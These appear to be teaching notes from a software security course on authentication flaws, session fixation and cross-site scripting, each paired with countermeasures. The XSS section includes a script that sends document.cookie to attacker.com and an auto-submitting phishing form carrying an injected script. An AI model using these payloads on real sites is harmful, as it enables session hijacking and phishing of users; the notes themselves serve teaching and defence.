Online Attacks / Exploiting Self-Service Password Resets / Weak session IDs / Session Fixation / Cross Site Scripting

Broken Authentication and Session Management

Broken Authentication deals with issues that allow attackers to get credentials
Broken Session Management deals with issues that allow attackers to hijack sessions

Online-Attacks

Prerequisites: Login can be attempted an unlimited number of times. Then a list of possible usernames can be combined with a list of possible passwords. The application behaves differently (response wise and time wise) if a user exists or if credentials are correct/wrong.

Countermeasures

Rate limit logins (slow down user)
Enforce password complexity
Never reveal what went wrong during authentication (user exists or not, password correct or not)
Use a CAPTCHA during account generation

Exploiting Self-Service Password Reset

Password reset emails can be intercepted and used to reset the password of a user. The attacker could also be able to call the operator of the website as well, partially authenticate as victim (e.g. correct name, email and address), cause an email change and then reset the password using the attacker's email.

Countermeasures

For "high-value" web apps it's best to not offer a self-service password reset at all (like e-banking)
For the others, make sure that
- security questions cannot be answered easily
- send an email to the user after the security questions have been answered
- the temporary password/link should only be valid once and only for a short time

Weak Session IDs

Weak session IDs have obvious patterns such as usernames or timestamps. Additionally, multiple sessions can be created and then analysed if they are truly random (Burp Suite has a tool called Burp Sequencer for that).

Countermeasures

Use truly random session IDs with high entropy (i.e. 115 bits)

Session Fixation

The attacker provides his ongoing session to the victim. If the victim authenticates, the attacker will be authenticated as the victim or, if the attacker provided an authenticated session ID, the victim is using the account of the attacker.

It works best, if the application accepts session ids also as GET parameters.

Countermeasures

Use a new session ID after a successful login/logout
Use long and random session IDs
Only use cookies to exchange session IDs
Use reasonable session timeouts

Cross-Site Scripting (XSS)

Reflected XSS
- Reflected (or non-persistent) Server XSS: The victim clicks on a link which contains JavaScript code. The server then directly integrates the code in the generated web page. Can be detected relatively easy by automatic tools.
- Reflected (or non-persistent) Client XSS: The victim clicks on a link which contains JavaScript code. The client then directly executes the code (e.g. URL anchor)
Stored (or persistent) (Server) XSS: Attacker manages to place JS permanently within the web application (DB). The server then directly integrates the code in the generated web page
DOM-Based XSS: The attacker injects malicious code into a request and the application executes the code in the browser

Exploit

e.g. use to get session IDs:


<script>
    var myTotallyHarmlessImage = new Image();
    myTotallyHarmlessImage.src = "http://attacker.com/?cookie=" + document.cookie;
</script>

Using an Image to circumvent the same-origin policy. However, if the HTTP Only flag is set for cookies, the attack does not work.

Exploiting POST requests

In order to exploit POST requests (since links in E-Mails or elsewhere are always GET), the attacker can use a form:


<form action="http://victim.com" method="POST">
    <input type="hidden" name="username" value="<script>alert('you got hacked')</script>"/>
    <input type="hidden" name="submit" value="search"/>
</form>

<script>
    function sendData() {
        document.forms[0].submit();
    }
</script>

Hello there, this is a legit E-MAIL. Please click  <a href="javascript:sendData()">here</a>.

Since e-mails can also be displayed in plain text, the attacker can also place an HTML document on a web server and then just provide the link to that document in the e-mail.

Countermeasures

Use a whitelist for input validation
Sanitize all user input (replace < and > with < and >)
Use a Content Security Policy (CSP) to prevent the execution of JavaScript and loading remote resources (e.g. images) from other domains

Some browsers also have builtin reflected XSS protection:

Firefox: no protection
Microsoft Edge: protection, can be disabled in the settings
Chrome: protection, can be disabled with command line option --disable-xss-auditor
Safari: protection, cannot be disabled

DOM-based XSS

Contrary to the other XSS attacks, DOM-based XSS does not require the server to be compromised. The attacker can inject malicious code into the DOM of the victim's browser. The browser then executes the code. For example, something like document.write("You are on " + unescape(document.location.href)). If the URL includes something like/my/path#<script>alert('you got hacked')</script>, the browser will execute the code and the server won't even notice.

Using eval() in the browser with user input can also lead to DOM based XSS.

Countermeasures

Implement JS code in a secure way, don't display un-sanitised user input even on frontend.

Software Security 1